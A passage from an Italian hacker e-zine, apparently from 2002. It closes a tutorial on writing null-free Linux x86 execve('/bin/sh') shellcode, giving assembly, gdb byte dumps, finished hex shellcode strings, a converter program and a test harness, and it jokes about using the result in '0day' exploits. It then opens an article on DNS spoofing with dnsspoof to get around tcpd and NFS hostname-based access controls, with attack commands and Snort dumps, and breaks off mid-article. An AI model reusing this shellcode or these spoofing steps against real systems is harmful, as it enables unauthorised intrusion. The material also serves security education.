0x80483d4 : 0x0b | | (gdb) | | 0x80483d5 : 0x00 <-- bisogna rimediare anche qui | | (gdb) | | 0x80483d6 : 0x00 | | (gdb) | | 0x80483d6 : 0x00 | | (gdb) | | 0x80483d7 : 0x00 | | (gdb) | | 0x80483d8 : 0xcd | | (gdb) | | 0x80483d9 : 0x80 | | (gdb) | | 0x80483da : 0xe8 | | (gdb) | | 0x80483db : 0xfe | | (gdb) | | 0x80483dc : 0x7b | | (gdb) | | 0x80483dd : 0xfb | | (gdb) | | 0x80483de : 0xf7 | | (gdb) | | 0x80483df : 0x2f | | (gdb) | | 0x80483e0 : 0x62 | | (gdb) | | 0x80483e1 : 0x69 | | (gdb) | | 0x80483e2 : 0x6e | | (gdb) | | 0x80483e3 : 0x2f | | (gdb) | | 0x80483e4 : 0x73 | | (gdb) | | 0x80483e5 : 0x68 | | | | Bisogna ottimizzare il codice assembler, eliminando gli zeri. | | | | Le istruzione incriminate sono le seguenti: | | | | movb $0x0,0x7(%esi) | | movl $0x0,0xc(%esi) | | movl $0xb,$eax | | | | Ma se dobbiamo utilizzare lo zero, per esempio per azzerare un | | registro ? Chi programma in assembler sa che in genere per azzerare i | | registri non si usa mov $0x0, %eax; al suo posto si puo' utilizzare | | xorl %eax,%eax. L'or-esclusivo (xor) del registro con se stesso da | | come risultato zero. Infatti, se seguiamo le regole dell'operatore | | logico xor | | | | 1 e 1 = 0 | | 1 e 0 = 1 | | 0 e 1 = 1 | | 0 e 0 = 0 | | | | e le applichiamo al seguente caso: | | | | 10010110 xor 10010110 | | otteniamo | | | | 10010110 xor | | 10010110 | | -------- | | 00000000 | | | | Lo xor di un numero con se stesso da come risultato 0. | | | | Quindi, inseriamo la linea | | | | xorl %eax,%eax | | | | ed effettuiamo le mov necessarie: | | | | movb %al,0x7(%esi) | | movl %eax,0xc(%esi) | | | | Infine cambiamo un opcode. Al posto di | | movl $0xb,$eax | | | | mettiamo | | movb $0xb,%al | | | | La differenza tra i due opcode e' che il primo coinvolge tutto il | | registro eax, mentre il secondo solo la parte bassa di eax, ovvero | | "al" il "registrino" a 8 bit "contenuto" in eax. | | Mettere il valore "0xb" (ovvero il cocide di execve) in "al" prima | | di chiamare int 80 e' il nostro scopo, quindi questa soluzione ci | | andra' benissimo. | | | | In alternativa a xor, si potrebbe usare l'istruzione sub. Per esempio | | sub eax,eax ottiene l'effetto di azzerare il registro. | | | | Ora il nostro shellcode avra' questo aspetto: | | | | shell2.c | | void main(){ | | __asm__("jmp fine \n" | | "inizio: popl %esi \n" | | "movl %esi,0x8(%esi) \n" | | "xorl %eax,%eax \n" | | "movb %al,0x7(%esi) \n" | | "movl %eax,0xc(%esi) \n" | | "movl %esi,%ebx \n" | | "leal 0x8(%esi),%ecx \n" | | "leal 0xc(%esi),%edx \n" | | "movb $0xb,%al \n" | | "int $0x80 \n" | | "fine: call inizio \n" | | ".string \"/bin/sh\" \n"); | | } | | | | | | Compiliamolo con gcc shell2.c -o shell2 e lanciamo gdb | | | | gdb shell2 | | | | Analizzando il nostro codice con xb/x non troveremo zeri ;) | | | | | | 4.2 La Via della Mano Destra | | ----------------------------- | | In tutti gli exploit noi vediamo lo shellcode in questa forma: | | | | char c0de[]= | | "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" | | "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" | | "\x62\x69\x6e\x2f\x73\x68"; | | | | L'ultima nostra fatica sara' quella di convertire il codice macchina | | in stringhe contenenti codice esadecimale da inserire nell'exploit | | stesso. | | | | Le vie sono 2: | | 1. a manina | | 2. usando un programma | | | | Se siamo masochisti useremo la via dei folli, ovvero la Via della Mano | | Sinistra, la prima. | | | | Compiliamo il nostro codicillo, entriamo in gdb, scandagliamo il | | codice e lo copiamo a mano, ovvero: | | | | gcc shell2.c -o shell2 | | gdb shell2 | | | | (gdb) xb/x main+3 (saltiamo il preambolo che non ci serve) | | | | 0x80483c3 : 0xeb | | (gdb) | | 0x80483c4 : 0x18 | | (gdb) | | 0x80483c5 : 0x5e | | (gdb) | | 0x80483c6 : 0x89 | | (gdb) | | ... | | ... | | ... | | | | Prendiamo 0xeb e lo copiamo, prendiamo 0x18 e lo copiamo... | | | | In alternativa possiamo usare la Via della Mano Destra, la via | | contemplativa: facciamo un programmino. Anzi, quei santi ragazzi dei | | teso hanno gia' provveduto. Lo scriptino allegato fa al caso nostro. | | | | 8<---outp.c | | #include | | /* | | convert .s to shellcode. typo/teso (typo@inferno.tusculum.edu) | | $ cat lala.s | | .globl cbegin | | .globl cend | | cbegin: | | xorl %eax, %eax | | ... | | cend: | | $ gcc -Wall lala.s outp.c -o lala | | $ ./lala | | unsigned char shellcode[] = | | "\x31\xc0\x31\xdb\x31\xc9\xb3\x0f\xb1\x0f\xb0\x47\xcd\x80\xeb\x1e\x5b" | | "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c" | | "\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff" | | "\x2f\x74\x6d\x70\x2f\x74\x73\x74\x65\x73\x6f\x63\x72\x65\x77\x21\x21"; | | ... | | */ | | extern void cbegin(); | | extern void cend(); | | int main() { | | char *buf = (char *) cbegin; | | int i = 0, x = 0; | | printf("unsigned char shellcode[] = \n\""); | | for (; (*buf) && (buf < (char *) cend); buf++) { | | if (i++ == 17) i = 1; | | if (i == 1 && x != 0) printf("\"\n\""); | | x = 1; | | printf("\\x%02x", (unsigned char) *buf); | | } | | printf("\";\n");p | | printf("int main() {void (*f)();f = (void *) shellcode; | | printf(\"%%d\\n\",strlen(shellcode));f();}"); | | return(0); | | } | | 8<--- | | | | L'uso e' semplicissimo. | | Compiliamo la nostra shellcode con -S per produrre il listato | | assembler e quindi compiliamo il prodotto con outp.c dei teso: | | | | gcc shell2.c -S | | gcc shell2.s outp.c -o codicillo | | | | eseguendo il programma cosi' ottenuto (ovvero "codicillo") si otterra' | | la shellcode in formato stringa/hex e una funzione per testarla. | | Cosi' per interderci: | | | | unsigned char shellcode[] = | | "\xeb\x20\x5e\x89\x76\x08\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xc0\x89" | | "\x46\x0c\x88\x46\x07\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" | | "\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | | | | int main() { | | | | void (*f)(); | | | | f = (void *) shellcode; | | printf("%d\n", strlen(shellcode)); | | f(); | | | | } | | | | Se funziona, potra' essere distribuita o utilizzata nei nostri | | meravigliosi 0day | | :))) | | | | ./codicillo > mioshellcode.c | | | | gcc mioshellcode.c -o mioshellcode | | ./mioshellcode. | | | | Attenzione: il codice dei teso prevede la presenza di due label | | "cbegin:" e "cend:" prima della shellcode e subito dopo; inoltre | | otterrete un errore se utilizzerete il nome "main" per la funzione | | della shellcode: sostituitelo con "cmain" e tutto dovrebbe funzionare. | | | | | | 5. Conclusione | | ------------------------------------------------------------------------ | | Nessuno si illuda. Una volta acquisiti i concetti qui espressi non si | | diventa automaticamente "hacker". Queste conoscenze rappresentano il | | know-how di base per chi vuole intraprendere la strada della nobile | | arte hackeresca. | | | | Questi sono argomenti gia' conosciuti, triti e ritriti, quasi banali | | dal punto di vista dell'hacking. La via del cracker di professione o | | dell'ethical hacker e' assai lunga e complicata: questo e' solo | | l'inizio. | | | | Lo shellcode che abbiamo visto e' molto semplice (ma efficace). In | | realta' spesso cio' non basta. Potremmo aver bisogno di bindare la | | shell sul tcp, droppare la rootshell in /tmp, aprire una sessione | | telnet inversa... Il limite e' dato dalla fantasia e dall'abilita'. | | | | Inoltre bisogna considerare la presenza di IDS. Esistono tecniche che | | permettono di "beffarli". Su un vecchio numero di phrack e' stato | | presentato un compilatore di shellcode che permette di trasformare il | | codice prodotto utilizzando solo caratteri stampabibli. | | | | Questo articolo ha cercato di spiegare alcuni concetti che forse erano | | ancora oscuri a molti, e ha voluto far intravedere ad altri la | | meraviglia dell'arcana programmazione in assembler. Forse qualcuno | | abbandonera' i trojan o gli scriptz e cerchera' finalmente di capire | | che cosa sta facendo... | | | | | | 6. Fonti | | ------------------------------------------------------------------------ | | "Smashing The Stack For Fun And Profit", Aleph1 | | "Introduction to Buffer Overflow", Ghost_Rider | | "The Art of Writing Shellcode", smiler | | "How to write Buffer Overflows", mudge | | "outp.c", typo/teso | | "Il manuale 80386". (McGrwaHill) llC.H. Pappas, W.H. Murray III | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 | | DNS SP00F ATTACK [E4zy] 0x06/0x1D | +--------------------------------------------------------------------------+ | | | 1. Introduzione | | | | 2. DNS Query & Reply | | | | 3. Dnsspoof | | 3.1 Sintassi | | 3.2 Esempio | | | | 4. TCP Wrapper | | 4.1 Tcpd bypass | | | | 5. NFS Service | | 5.1 NFS server bypass | | 5.2 Exportfs | | 5.3 NFS client bypass | | | | 6. Contromisure | | | | 7. Risorse | | | | | | | | 1. Introduzione | | Bind (Berkeley Internet Name Domain) è la più comune implementazione del | | protocollo DNS nei sistemi Unix like, named è il nome del demone | | responsabile della risoluzione dei nomi di dominio e sarà proprio di | | esso che ci serviremo per applicare quanto spiegato nel corso di questo | | articolo. | | La strada di Bind e dei servizi DNS in generale è costellata di falle | | nella sicurezza, talvolta queste derivano dal demone ma altre volte da | | vulnerabilità insite negli stessi protocolli di rete. Il caso del DNS | | spoofing in particolare ricade nella seconda categoria e per tale motivo | | risulta indipendente dal programma demone e dal sistema operativo. | | | | 2. DNS Query & Reply | | Gli hostname risultano più gradevoli e più facilmente memorizzabili alla | | maggior parte della gente che usufruisce dei servizi offerti dalla Rete, | | pertanto è necessario un servizio in grado di fornire una relazione tra | | gli hostname e gli indirizzi IP presenti su Internet, questa funzione è | | svolta egregiamente dai server DNS. | | I resolver, ovvero i programmi che generano le interrogazioni verso un | | NS (NameServer), si avvalgono del protocollo UDP notoriamente insicuro | | in quanto non garantisce l'avvenuta ricezione del pacchetto da parte | | dell'host destinatario (non confermato) e non stabilisce una connessione | | (non connesso), dando modo ad un malintenzionato di ledere alla | | sicurezza della sessione stessa. | | Una query DNS (interrogazione) può essere intercettata da un host remoto | | malevolo il quale spoofando il source address del pacchetto IP può | | inviare una risposta al mittente come se provenisse dal server DNS, la | | DNS reply conterrà informazioni atte all'alterazione della sessione che | | il mittente della query si appresta ad intraprendere. | | Naturalmente questa tecnica avrà successo solo nel caso in cui la | | risposta fasulla dovesse giungere a destinazione prima della reply | | legittima proveniente dal NS che verrebbe di conseguenza ignorata. | | | | 3. Dnsspoof | | Dnsspoof fa parte del pacchetto Dsniff reperibile all'indirizzo | | http://www.monkey.org/~dugsong/dsniff, questo è anche il nome del tool | | che utilizzerò durante la trattazione di questo articolo per illustrare | | le modalità con cui un attacker ha la possibilità di portare a termine | | con successo un attacco di DNS spoofing contro la nostra macchina. | | L'ambiente ideale per mettere in atto questa tecnica è rappresentato da | | una rete locale NON commutata(1) che agevola lo sniffing del traffico | | inoltrando i pacchetti a tutti gli host che la popolano, ad esempio una | | rete dotata di HUB. | | | | (1)commutata: in cui vi è la presenza di dispositivi di rete quali | | switch che dividono la rete in diversi segmenti tra loro indipendenti, i | | pacchetti vengono inoltrati ad uno solo dei segmenti di rete popolati da | | un numero limitato di host. | | | | 3.1 Sintassi | | Usage: dnsspoof [-i interface] [-f hostsfile] [expression] | | dove: | | -i interface | | rappresenta l'interfaccia di rete sulla quale si desidera | | rimanere in ascolto | | | | -f hostsfile | | permette di specificare il percorso del file contenente le | | associazioni IP/hostname che si desidera spoofare, esempio: | | | | 192.168.1.1 trust.dominio.it | | | | in questo modo qualsiasi query che cerchi di risolvere il | | nome host trust.dominio.it riceverà una reply fasulla con | | l'IP 192.168.1.1, la stessa cosa vale per le operazioni di | | lookup | | | | expression | | permette di specificare delle espressioni al fine di filtrare | | in modo selettivo i pacchetti da sniffare | | | | 3.2 Esempio | | Quello che segue è un semplice esempio che ha lo scopo di illustrare il | | funzionamento di Dnsspoof prima di addentrarci nell'analisi degli | | attacchi veri e propri alle risorse di rete: | | | | attacker@attack:~$ host trust | | trust.linuxbox.com. has address 192.168.1.6 | | | | Il comando host ci permette di interrogare il nostro server DNS primario | | il cui indirizzo IP è contenuto all'interno del file /etc/resolv.conf, | | nell'esempio il server DNS restituisce come risposta l'IP effettivo | | dell'host che risponde all'hostname trust.linuxbox.com. | | Ora proviamo ad eseguire il programma Dnsspoof in questo modo: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 | | dnsspoof: listening on eth0 [udp dst port 53] | | | | dove il file hosts.txt che si trova nella directory ~ (home) dell'utente | | contiene le relazioni IP/hostname che si desidera spoofare, in questo | | esempio: | | | | 192.168.1.4 trust.linuxbox.com | | | | l'espressione "udp dst port 53" specifica che il programma si limiti a | | sniffare i soli pacchetti UDP destinati alla porta 53, ovvero la porta | | adibita alle query DNS. | | Ora ripetiamo il comando host utilizzato in precedenza e se tutto è | | andato come previsto noteremo con sorpresa che l'oputput del comando è | | cambiato e l'IP restituito dall'interrogazione è lo stesso che abbiamo | | fornito come input al programma Dnsspoof: | | | | attacker@attack:~$ host trust | | trust.linuxbox.com. has address 192.168.1.4 | | | | Ecco l'output di Dnsspoof: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt udp dst port 53 | | dnsspoof: listening on eth0 [udp dst port 53] | | 192.168.1.4.1079 > 192.168.1.5.53: 34196+ A? trust.linuxbox.com | | | | Ma cosa è successo realmente? E' presto detto. | | Come si può notare poche righe più sopra, Dnsspoof ha sniffato una query | | proveniente dal nostro stesso host che rispondeva ai criteri specificati | | e ha anticipato la risposta del NS rispondendo in sua vece e fornendo un | | indirizzo IP fasullo. | | | | 4. TCP Wrapper | | Tcpd, conosciuto anche con il nome di Tcp wrapper, è un demone che come | | molti altri programmi fa affidamento al servizio DNS per risolvere i | | nomi host che interessano tale processo. E' proprio questa eccessiva | | fiducia che rende tale strumento del tutto insicuro se viene utilizzato | | in maniera errata. | | Lo scopo di tcpd è quello di monitorare la provenienza delle richieste | | inoltrate dall'esterno della rete e consentire o meno l'accesso a | | determinati servizi sulla base di liste di controllo degli accessi | | rappresentate rispettivamente dai file /etc/hosts.allow e | | /etc/hosts.deny | | Esso può essere tratto in inganno qualora facesse affidamento a un | | server DNS remoto per la risoluzione degli hostname presenti nelle liste | | di controllo degli accessi. | | | | 4.1 Tcpd bypass | | Un possibile scenario d'attacco è rappresentato da una rete locale con | | le seguenti specifiche: | | | | Hostname Indirizzi IP Descrizione | | | | attack.linuxbox.com 192.168.1.4 l'host dell'attacker | | dns.linuxbox.com 192.168.1.5 il server DNS | | trust.linuxbox.com 192.168.1.6 il sistema "fidato" | | victim.linuxbox.com 192.168.1.7 il server che utilizza tcpd | | | | La tecnica che mi appresto a descrivere è resa possibile da un uso | | improprio delle liste di accesso hosts.allow e hosts.deny, come potremo | | vedere in seguito è caldamente sconsigliato l'utilizzo di hostname come | | entry per questi file. | | | | /etc/hosts.allow: | | ALL:trust.linuxbox.com | | | | /etc/hosts.deny: | | ALL:ALL | | | | Il file hosts.allow permette l'accesso a tutti i servizi (ALL) purchè la | | richiesta provenga dal sistema trust.linuxbox.com, il file hosts.deny | | rifiuta quasiasi accesso non sia esplicitamente indicato nel file | | hosts.allow. | | | | Ecco cosa accade se cerchiamo di connetterci a victim dall'host attack, | | il quale da quanto specificato nelle access list non è autorizzato a | | stabilire una connessione: | | | | attacker@attack:~$ telnet 192.168.1.7 23 | | Trying 192.168.1.7... | | Connected to 192.168.1.7. | | Escape character is '^]'. | | Connection closed by foreign host. | | | | Il tentativo di connessione è scongiurato da tcpd! | | Qui di seguito l'output di Snort ci aiuta a capire cos'è successo e ci | | permette di fare alcune riflessioni, ogni pacchetto è commentato nei | | minimi dettagli al fine di rendere più semplice la comprensione: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/18-20:05:13.455540 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:209 TOS:0x0 ID:26910 IpLen:20 DgmLen:70 DF | | Len: 50 | | 9D FA 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 .arpa..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | L'host con IP 192.168.1.7 (victim), una volta contattato dall'host | | attack che desidera connettersi, controlla la propria lista di accesso | | alla ricerca di un IP/hostname che corrisponda a quello del sistema | | richiedente ovvero 192.168.1.4 (attack), la prima voce che trova è | | relativa all'hostname trust.linuxbox.com, a questo punto a victim non | | resta che risolvere l'IP di cui è in possesso (192.168.1.4) nel | | rispettivo hostname al fine di verificarne un'eventuale corrispondenza. | | Pertanto si rende necessaria un'interrogazione al server DNS e qualora | | l'hostname ottenuto dovesse risultare pari a quello presente in | | hosts.allow l'accesso alle risorse sarà consentito. | | | | 02/18-20:05:13.456022 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:119 IpLen:20 DgmLen:137 | | Len: 117 | | 9D FA 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... | | 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li | | 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... | | 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. | | 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Il server DNS risponde a 192.168.1.7 (victim) dicendo che l'hostname | | relativo all'IP del richiedente (192.168.1.4) risulta essere | | attack.linuxbox.com che è palesemente diverso da trust.linuxbox.com. | | | | 02/18-20:05:13.469858 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:219 TOS:0x0 ID:29268 IpLen:20 DgmLen:65 DF | | Len: 45 | | 9D FB 01 00 00 01 00 00 00 00 00 00 06 61 74 74 .............att | | 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com | | 00 00 01 00 01 ..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | A questo punto victim fa un'ulteriore richista al fine di risolvere il | | nome host ottenuto in precedenza dal lookup di 192.168.1.4 | | (attack.linuxbox.com) nuovamente nell'indirizzo IP per una maggiore | | garanzia. | | | | 02/18-20:05:13.470293 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:120 IpLen:20 DgmLen:115 | | Len: 95 | | 9D FB 85 80 00 01 00 01 00 01 00 01 06 61 74 74 .............att | | 61 63 6B 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D ack.linuxbox.com | | 00 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 .............Q.. | | 04 C0 A8 01 04 C0 13 00 02 00 01 00 01 51 80 00 .............Q.. | | 06 03 64 6E 73 C0 13 C0 41 00 01 00 01 00 01 51 ..dns...A......Q | | 80 00 04 C0 A8 01 05 ....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | L'IP restituito è nuovamente quello di attack ovvero 192.168.1.4. | | La connessione è perciò inibita dal tcp wrapper che non trova alcuna | | rispondenza tra l'hostname restituito dal resolver (attack.linuxbox.com) | | e le voci contenute nelle liste di controllo. | | | | Come può un malintenzionato aggirare tali restrizioni d'accesso? | | Usando la tecnica del DNS spoofing naturalmente! | | | | Torniamo al nostro esempio, ovvero stessi IP/hostname dello scenario d' | | attacco precedente, il nostro attacker potrà operare come segue al fine | | di ottenere un accesso non consentito al sistema victim: | | | | attacker@attack:~# echo "192.168.1.4 trust.linuxbox.com" > ~/hosts.txt | | attacker@attack:~# cat ~/hosts.txt | | 192.168.1.4 trust.linuxbox.com | | | | In questo modo abbiamo creato il file hosts.txt nella dir ~ (home) dell' | | utente sul sistema attack, sarà lo stesso file che utilizzeremo come | | input per il programma Dnsspoof. | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | Ora Dnsspoof è in ascolto in attesa di qualsiasi DNS query il cui source | | address non corrisponda al nostro. Non vogliamo spoofare le query che | | effettuamo noi vero? :) | | | | A questo punto non resta che stabilire una connessione con l'host victim | | che come vedete adesso accetta la nostra richiesta e ci da accesso: | | | | attacker@attack:~$ telnet 192.168.1.7 23 | | Trying 192.168.1.7... | | Connected to 192.168.1.7. | | Escape character is '^]'. | | | | victim login: | | | | Cosa è successo? | | Non siamo l'host trust eppure ci ha permesso di connetterci in quanto | | gli abbiamo fatto credere di esserlo! | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1026 > 192.168.1.5.53: 53493+ PTR? 4.1.168.192.in-addr.arpa | | 192.168.1.7.1026 > 192.168.1.5.53: 53494+ A? trust.linuxbox.com | | | | Come si può vedere dall'output di Dnsspoof le query rivolte al DNS sono | | state tempestivamente intercettate e il programma ha provveduto a | | fornire ad esse una risposta come da noi richiesto e come se | | provenissero realmente dal server DNS, questo ha dato modo al demone | | tcpd di credere che l'hostname associato all'IP del richiedente | | (192.168.1.4) fosse proprio trust.linuxbox.com il quale risulta | | autorizzato. | | Vediamo ora l'output di Snort che ci permette di scattare un'istantanea | | di quanto è avvenuto, ho provveduto a fornire i commenti dove l'ho | | ritenuto necessario: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/18-19:50:43.511279 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:106 TOS:0x0 ID:36520 IpLen:20 DgmLen:70 DF | | Len: 50 | | D0 F5 01 00 00 01 00 00 00 00 00 00 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 .arpa..... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim chiede al server DNS a che hostname corrisponde l'IP address | | 192.168.1.4 per poter fare un confronto tra l'hostname del richiedente e | | l'hostname contenuto in hosts.allow ovvero trust.linuxbox.com. | | | | 02/18-19:50:43.511764 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:102 IpLen:20 DgmLen:137 | | Len: 117 | | D0 F5 85 80 00 01 00 01 00 01 00 01 01 34 01 31 .............4.1 | | 03 31 36 38 03 31 39 32 07 69 6E 2D 61 64 64 72 .168.192.in-addr | | 04 61 72 70 61 00 00 0C 00 01 C0 0C 00 0C 00 01 .arpa........... | | 00 01 51 80 00 15 06 61 74 74 61 63 6B 08 6C 69 ..Q....attack.li | | 6E 75 78 62 6F 78 03 63 6F 6D 00 C0 0E 00 02 00 nuxbox.com...... | | 01 00 01 51 80 00 06 03 64 6E 73 C0 3D C0 57 00 ...Q....dns.=.W. | | 01 00 01 00 01 51 80 00 04 C0 A8 01 05 .....Q....... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | La risposta a tale query contiene l'hostname reale dell'host 192.168.1.4 | | ma quest'ultima ARRIVA DOPO la risposta fasulla fornita da Dnsspoof e | | pertanto viene ignorata. | | | | 02/18-19:50:43.514447 192.168.1.7:1026 -> 192.168.1.5:53 | | UDP TTL:149 TOS:0x0 ID:44934 IpLen:20 DgmLen:64 DF | | Len: 44 | | D0 F6 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim a questo punto richiede l'IP dell'hostname ottenuto dalla query | | precedente che risulta appunto essere trust.linuxbox.com in seguito alla | | reply fasulla da parte di Dnsspoof:) | | | | 02/18-19:50:43.514866 192.168.1.5:53 -> 192.168.1.7:1026 | | UDP TTL:64 TOS:0x0 ID:103 IpLen:20 DgmLen:114 | | Len: 94 | | D0 F6 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Questa risposta sarà ricevuto solo IN SEGUITO a quella fornita dal | | programma di spoofing del DNS e sarà perciò ignorata. | | | | Alla luce di quanto detto victim crederà a tutti gli effetti di avere a | | che fare con trust.linuxbox.com e acconsentirà inconsapevolmente alla | | connessione di attack.linuxbox.com. | | | | 5. NFS Service | | I servizi NFS (Network File System) sono stati sviluppati allo scopo di | | permettere il mount di partizioni di disco remote, se mal configurato | | questo servizio può essere tratto in inganno da un utente remoto non | | autorizzato che voglia accedere alle partizioni condivise. | | NFS si serve del file /etc/exports per determinare la legittimità o meno | | delle richieste di mount remote, in tale file sono pertanto indicate le | | risorse che si desidera condividere e le macchine autorizzate ad | | accedere a tali condivisioni. | | Al momento dell'avvio dei servizi NFS il file /etc/exports viene | | processato dal comando exportfs -r che viene di norma avviato | | automaticamente dallo script di inizializzazione dei servizi. Nel qual | | caso tale file contenesse riferimenti ad hostname il sistema sarà | | costretto alla risoluzione degli stessi mediante query DNS che | | potrebbero rendere il sistema soggetto ad accessi non autorizzati. | | | | 5.1 NFS server bypass | | Come avrete avuto modo di capire la pratica comune di inserire hostname | | all'interno di liste per il controllo degli accessi espone il nostro | | sistema ad enormi rischi e andrebbe per tanto evitata. | | Ad ogni modo vediamo come un attacker possa servirsi dello spoofing del | | DNS al fine di guadagnare un accesso non autorizzato ai rami condivisi | | del nostro filesystem. | | | | Ecco un possibile scenario in cui potrebbe verificarsi un attacco alle | | risorse condivise del sistema victim operando da un ipotetico sistema | | attack, gli host in gioco sono ancora una volta quelli utilizzati nel | | corso dell'esempio precedente: | | | | Hostname Indirizzi IP Descrizione | | | | attack.linuxbox.com 192.168.1.4 l'host dell'attacker | | dns.linuxbox.com 192.168.1.5 il server DNS | | trust.linuxbox.com 192.168.1.6 il client "fidato" | | victim.linuxbox.com 192.168.1.7 il server NFS | | | | Il sistema victim.linuxbox.com si presenta configurato come segue: | | | | /etc/exports: | | /home/ftp trust.linuxbox.com(ro) | | | | Il file /etc/exports così dichiarato permette (dovrebbe permettere) | | l'accesso in sola lettura (ro) alla home directory dell'utente ftp al | | solo sistema che risponde all'hostname trust.linuxbox.com. | | | | Vediamo cosa accade durante il boot del sistema nel momento in cui lo | | script rc.nfsd (Slackware8.0) inizializza i servizi NFS: | | | | Starting NFS services: | | /usr/sbin/exportfs -r | | /usr/sbin/rpc.rquotad | | /usr/sbin/rpc.nfsd 8 | | /usr/sbin/rpc.mountd --no-nfs-version 3 | | /usr/sbin/rpc.lockd | | /usr/sbin/rpc.statd | | | | Nel preciso istante in cui lo script rc.nfsd avvia exportfs -r il file | | /etc/exports viene processato e il nome host trust.linuxbox.com viene | | risolto nel relativo indirizzo IP tramite DNS query, in tal modo in | | presenza di una richiesta di mount futura il server NFS non avrà più | | l'esigenza di interrogare il nameserver ma si avvarrà dell'IP | | memorizzato a tempo di boot per soddisfare qualsiasi richiesta. | | Pertanto il solo momento in cui i servizi NFS risultano vulnerabili allo | | spoofing del DNS è rappresentato dal momento in cui esso aggiorna la | | tabella delle condivisioni, di norma tale operazione viene svolta | | durante il boot o su richiesta dell'amministratore. | | | | L'output di Snort ci offre la possibilità di loggare i pacchetti che | | transitano durante questa operazione, ovvero quali query vengono | | inoltrate da victim verso il DNS e quali risposte riceve da | | quest'ultimo: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-13:18:28.241483 192.168.1.7:1072 -> 192.168.1.5:53 | | UDP TTL:120 TOS:0x0 ID:35227 IpLen:20 DgmLen:64 DF | | Len: 44 | | 4F 5D 01 00 00 01 00 00 00 00 00 00 05 74 72 75 O]...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Victim invia una query intesa a risolvere 